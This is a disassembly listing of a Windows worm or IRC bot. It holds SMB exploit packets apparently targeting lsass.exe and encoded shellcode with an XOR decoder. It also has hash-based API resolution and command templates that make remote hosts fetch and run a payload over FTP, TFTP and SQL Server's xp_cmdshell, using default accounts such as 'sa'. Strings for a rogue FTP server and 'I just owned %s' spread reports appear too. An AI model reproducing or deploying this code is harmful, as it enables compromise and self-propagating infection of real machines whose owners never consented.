		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4258F8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_403C8B+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425984	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_425A30	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425B10	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40384C+8Ao
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 0
dword_425B74	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_425BE0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425C84	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425D04	dd offset loc_401495	; DATA XREF: sub_40384C+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_425D98	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_425E04	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_425E78	dd 0			; DATA XREF: sub_40384C+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_425F38	dd 1004600h		; DATA XREF: sub_40384C+140r
					; sub_40384C+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4036EB+BEo
					; sub_4051A0+9Do
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_404108+B2o
		align 4
dword_42607C	dd 10FF8h, 0		; DATA XREF: sub_404108+6Ao
dword_426084	dd 10FF8h		; DATA XREF: sub_404108+79o
dword_426088	dd 7FFDF020h, 0		; DATA XREF: sub_404108+162o
dword_426090	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_404532+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426118	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_404532+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_426148	dd 0			; DATA XREF: sub_404532+44o
		dd 800000D4h, 0
unk_426154	db  81h	; 		; DATA XREF: sub_40460C+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_4261A0	db 41h			; DATA XREF: sub_4046AA+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4261E4	proc near		; DATA XREF: seg000:00404987o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4262E0
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4262F6
		mov	[esi+8], eax
		call	sub_4262A9
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4262F6
		mov	[esi+0Ch], eax
		call	sub_42625B
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4262F6
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4261E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; CODE XREF: sub_4261E4+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_426284
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_42625B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426284	proc near		; CODE XREF: sub_42625B+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_426293:				; CODE XREF: sub_426284+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4262A0
		inc	ebx
		jmp	short loc_426293
; ---------------------------------------------------------------------------


loc_4262A0:				; CODE XREF: sub_426284+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_426284	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262A9	proc near		; CODE XREF: sub_4261E4+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4262C1:				; CODE XREF: sub_4262A9+1Ej
		cmp	[ecx], ebx
		jz	short loc_4262C9
		mov	ecx, [ecx]
		jmp	short loc_4262C1
; ---------------------------------------------------------------------------


loc_4262C9:				; CODE XREF: sub_4262A9+1Aj
		mov	edx, edi


loc_4262CB:				; CODE XREF: sub_4262A9+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4262D5
		mov	edx, [edx+4]
		jmp	short loc_4262CB
; ---------------------------------------------------------------------------


loc_4262D5:				; CODE XREF: sub_4262A9+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4262A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262E0	proc near		; CODE XREF: sub_4261E4+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4262E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262F6	proc near		; CODE XREF: sub_4261E4+16p
					; sub_4261E4+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_42630C:				; CODE XREF: sub_4262F6+33j
		jecxz	short loc_426346
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_426319:				; CODE XREF: sub_4262F6+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_426325
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_426319
; ---------------------------------------------------------------------------


loc_426325:				; CODE XREF: sub_4262F6+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_42630C
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_426346:				; CODE XREF: sub_4262F6:loc_42630Cj
					; sub_4262F6:loc_426346j
		jmp	short loc_426346
sub_4262F6	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_42634C	proc near		; DATA XREF: seg000:00404937o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42639E
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_426369:				; CODE XREF: sub_42634C+38j
		jecxz	short loc_426399
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_426374:				; CODE XREF: sub_42634C+32j
		lodsb
		test	al, al
		jz	short loc_426380
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_426374
; ---------------------------------------------------------------------------


loc_426380:				; CODE XREF: sub_42634C+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_426369
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_426399:				; CODE XREF: sub_42634C:loc_426369j
		mov	[esp+arg_0], ebx
		retn
sub_42634C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42639E	proc near		; CODE XREF: sub_42634C+7p

; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4263B7
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4263C2
; ---------------------------------------------------------------------------


loc_4263B7:				; CODE XREF: sub_42639E+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4263C2:				; CODE XREF: sub_42639E+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4263D6
sub_42639E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4263C9	proc near		; CODE XREF: sub_42639E:loc_4263D6p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4263C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42639E


loc_4263D6:				; CODE XREF: sub_42639E+29j
		call	sub_4263C9


loc_4263DB:				; DATA XREF: sub_4040AD+1Bo
					; seg000:0040D652o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42639E
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4263E0	dd 60h			; DATA XREF: sub_404108+320o
dword_4263E4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_404108+2F5o
dword_4263F0	dd 30h			; DATA XREF: sub_404108+2CAo
					; seg002:0042C564o ...
dword_4263F4	dd 0A1h			; DATA XREF: sub_404108+29Fo
dword_4263F8	dd 3			; DATA XREF: sub_404108+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_404108+153o
		align 4


loc_426404:				; DATA XREF: sub_404108+E8o
		jmp	short near ptr dword_42640C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_42640C	dd 0			; CODE XREF: seg002:loc_426404j
dword_426410	dd 2F2F7325h, 2E732520h, 0 ; DATA XREF:	seg000:00404AD5o
aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: seg000:0040495Co
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+190o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404F08+15Co
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404F08+C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: sub_404F08+2Bo
					; seg002:0042C2D8o
		align 4
aRoot		db 'root',0             ; DATA XREF: sub_404F08+24o
					; seg002:0042C2E0o ...
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_404F08+19o
		align 4
dword_426584	dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
					; DATA XREF: seg000:00405377o
		db 1Ah
; ---------------------------------------------------------------------------


loc_426595:				; CODE XREF: seg002:0042659Cj
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_426595
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h
word_4266D8	dw 7A69h		; DATA XREF: sub_4051A0+30r
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053ED+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053ED+5B9o
					; seg000:0040D36Do
		align 10h
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053ED+5ACo
		align 4
dword_426724	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_4053ED+561o
		dd 2029206Ch, 2BBBB02h
aIJustOwnedSOnP	db '  I just owned %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053ED+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053ED+516o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053ED+4FEo
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053ED+4E9o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053ED+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053ED+4A5o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053ED+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053ED+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053ED+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053ED+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053ED+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053ED+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053ED+38Co
aI:					; DATA XREF: sub_4053ED+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053ED+351o
aA:					; DATA XREF: sub_4053ED+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053ED+326o
					; sub_4053ED+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053ED+316o
		align 10h
off_4268E0	dd offset dword_445750	; DATA XREF: sub_4053ED+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053ED+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053ED+2DEo
		align 10h
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_4053ED+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053ED+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053ED+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053ED+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053ED+286o
		align 10h
aUser_0		db 'USER',0             ; DATA XREF: sub_4053ED+271o
					; seg002:0042C310o ...
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_4053ED+260o
		align 10h
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053ED+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_406C22+12Eo
					; sub_40B43D+Bo
		align 4
unk_42697C	db    2			; DATA XREF: seg000:00405EFFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_4269C4	db 0Dh,0Ah,0		; DATA XREF: seg000:00405DD6o
		align 4
asc_4269C8:				; DATA XREF: seg000:00405D9Ao
					; seg000:0040CEE1o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: seg000:00405D70o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00406058o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00406035o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: seg000:00405FF9o
					; sub_40AAB5+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:00405FE5o
		align 10h
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: seg000:loc_405FC7o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: seg000:00405FC0o
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_426C78:				; DATA XREF: seg002:0042DFA8o
		unicode	0, <*>,0
asc_426C7C:				; DATA XREF: seg000:004063BDo
					; seg000:00411332o
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: seg000:0040685Eo
		align 4
aS_1		db '%s',0               ; DATA XREF: seg000:0040A651o
					; seg000:0040D545o ...
		align 4
aS_2		db '\%s',0
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: seg000:004069E2o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004069C7o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: seg000:004069ACo
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: seg000:0040691Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:004068F5o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: seg000:loc_4068ACo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: seg000:004068A5o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: seg000:00406805o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: seg000:004067C8o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:00406795o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: seg000:loc_406756o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: seg000:0040674Fo
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: seg000:00406708o
		align 4
